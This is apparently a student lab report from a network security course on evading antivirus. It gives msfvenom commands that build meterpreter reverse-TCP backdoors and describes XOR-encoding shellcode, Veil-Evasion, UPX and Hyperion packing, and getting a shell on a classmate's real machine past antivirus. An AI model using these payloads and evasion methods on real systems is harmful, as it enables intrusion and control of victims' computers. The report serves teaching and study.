20165310 NetSec2019 Week5 Exp3 免杀原理与实践

20165310 NetSec2019 Week5 Exp3 免杀原理与实践

1、免杀原理

  • 杀软是如何检测出恶意代码的

    • 基于特征码的检测:特征码就是一段恶意程序有可是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它做为恶意程序处理。
    • 启发式恶意软件检测:杀软根据程序的片面特征去推断其是否包含恶意代码,一般缺少精确断定依据。
    • 基于行为的恶意软件检测:是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,若是发现了这种特殊的行为,例如修改注册表等,则会把它当成恶意软件。
  • 免杀是作什么?

    • 对恶意软件进行不影响它功能的各类方法操做,如编码、加壳等处理,使他的特征码改变,或是捆绑正常应用等,逃过杀毒软件的扫描
  • 免杀的基本方法有哪些?

    • 改变特征码 :如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其余语言重写再编译。
    • 第二种是改变行为:如在通信中尽可能使用反弹式链接、使用隧道技术、加密通信数据等等,在操做中基于内存操做、减小对系统的修改、加入混淆做用的正常功能代码等。
    • 第三种是很是规方法:如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

2、实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,加壳工具,使用shellcode编程
  • 经过组合应用各类技术实现恶意代码免杀
  • 用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本

任务1、使用msf编码器msfvenom生成后门程序

  • 使用msf命令生成后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod1.exejava

    • 其中,-e选择编码器,-b是payload中须要去除的字符,该命令中为了使'\x00'不出如今shellcode中,由于shellcode以'\x00'为结束符

    0

    • 在virscan与VirusTotal中扫描结果分别以下:

    1

    2

    能够看出来查出率有一半多,免杀效果不好python

  • 尝试利用msf的屡次编码参数-i来进行屡次编码,提升免杀效果:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod2.exeshell

    3

    • 免杀扫描结果以下:

    4

    5

    ​ 能够发现甚至扫描几乎不变,甚至反而变多了,效果并很差。编程

  • 尝试生成别的类型的文件进行免杀操做windows

    • 生成jar类型的后门:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 x> msf_JarEncode.jar安全

      6

    • 扫描结果以下:网络

      7

      8

      在virscan中结果明显比exe文件减小不少,可是在VirusTotal中差很少多线程

任务2、使用veil-evasion生成后门程序及检测

  • Veil-Evasion的安装less

    • 安装veil-evasion:apt-get install evil-evation

    -

    • 过程当中需安装一系列依赖例如wine等,安装成功后能够看到以下界面:

    -

  • 利用Veil生成C语言免杀后门:tcp

    • 命令use evasion进入evil-evasion,命令list能够查看能编写哪些种类的后门

    9

    • 咱们选择C语言的tcp反链接后门:use 7(7为list中的对应序号)

    • 进行参数设置:

    • 生成免杀后门软件成功,命名为veil_CEncode.exe

    • 进行扫描查看免杀效果

    ​ 能够看出免杀效果没有明显提升,对比去年学长学姐的博客,效果明显变差,推测应该是病毒库更新的缘由。

任务3、半手工注入Shellcode并执行

  • 本机实验

    • 利用msf生成一段C语言的shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 -f c

  • 进行了C语言的异或编码,试图让他逃脱杀软的扫描,验证编码是否正确:

    • 例行扫描:

    ​ 效果比上面的工具彷佛好一点,但没有明显改善,简单的异或编码已经骗不过杀软了,下回尝试加密,若是成功再更新。

    • 尝试回连,查看是否通过异或加密的shellcode还能正常工做,没有优先尝试加密的缘由正是由于加密后再解密的shellcode容易失效

  • 另外的真机回连

    • IP改变,从新生成shellcode:

    • 生成可执行文件,发送给对方执行并回连,exploit等待:

    • 对方执行文件,回连成功:

      CA460D5410E976E7803752F4FA332E

    • 执行命令dir确认链接成功:

      41636E345393A7896CFD97B4DA3D89

    • 腾讯安全管家扫描没有扫出

      35E1E87F6D6CA88582E25FDE4F313B

任务4、加壳

  • 对上面第一个半手工shellcode进行UPX加壳,减小文件体积 :

    • 对半手工生成的shellcode加upx壳

    • 扫描结果:

      查出来的杀软数目反而增多,应该是upx的特征码被录入了病毒库,下面再加一层加密壳验证一下本身的见解

    • 利用wine模拟Windows环境,运行hyperion.exe进行加壳

    • 进行扫描:

      ​ 被扫描出的结果更多,能够验证上面的想法,著名加壳工具只会增长被发现几率,建议本身加花指令或者改壳。

任务5、据说pathon-evasion挺好用

  • 为了可以嵌入汇编语言,选择了C语言对shellcode进行处理,加密解密没有现成的库简直要了命= =,因而贼心不死仍是想找个工具,因而安装了据说很好用的pathon-evasion,可是不得不说安装和evil-evasion同样麻烦。

    • 通过一系列复杂的异或与多线程等操做以后,生成了exe送去扫描:

      能够看见结果稍有好转,可是没有理想中那么好,查看扫描结果发现,pathon自己特征码已经被杀软锁定了,甚至不须要扫描文件自己,直接能够判定是恶意代码,大概是曾经太好用了,可见不少杀毒软件更新仍是可靠而且快的。

    • 可是仍是有优势的,以前生成的全部恶意软件没有可以逃过火绒的扫描,可是这款生成的软件成功没有被发现(*_phan.exe文件都没有被扫出)

      总的来讲,国内主流杀软病毒库,就本次扫描结果来讲360>火绒>腾讯,但我的使用感火绒>360=腾讯,因此最后仍是选择了火绒,但愿它病毒库能更新的快一点吧。

3、遇到问题与实验感想

一、遇到的问题:

  • Veil-Evasion安装失败

    • 建议先执行apt-get upgrade操做,进行后成功率高了不少
    • 事实上即使更新后,安装仍然中断许屡次,那就多试几回吧
    • 若是报错可是仍是完成了安装,不妨试着运行一下,我最终安装有报错可是能正常运行,估计缘由是前几回虽然安装失败但有些配置已经配置好了,正好是最后一次失败的配置。

    -

  • ping不通别人的真机

    • 虚拟机网络设置改成桥接模式
    • 对方关闭防火墙

  • 回连不成功

    • 尝试了n次生成不一样的shellcode,再编译成可执行文件
    • 查看进程和端口都没问题
    • 忽然就成功了大概是个玄学,多试几回吧,加油,感受验收又会死在这个上面好久,god bless me。

二、实验收获与感想

  • 本次试验扫描出来最少的样品实际上是veil生成的一个python的回连脚本,可是因为我没有使用py2exe,并不能肯定生成exe可执行文件后是否不会被扫描,可是根据msf生成的Java的扫描结果,彷佛都比c语言要具备必定的优点。-

  • 简陋的半手动shellcode生成可执行文件依然比过于大众的免杀工具好用,例如:加upx的壳与veil的C语言后门,以及msf生成的源码。

  • 能够大胆猜想一下,若是要作到真正的免杀,半手动的py/jar进行处理+部分小众工具会有奇效,要是能本身生成shellcode或许更好,总而言之就是要改变特征码与哈希值。

  • 若是要避免动态监测,绑定正常程序或者以正常程序为模板或者生成恶意dll调用,会比单独的恶意软件好不少。

  • 虽然火绒病毒库不够新,依然不能阻止我爱他的使用感。

  • 不少想法想验证,可是我来不及了,时间太少了,枯了。

相关文章
相关标签/搜索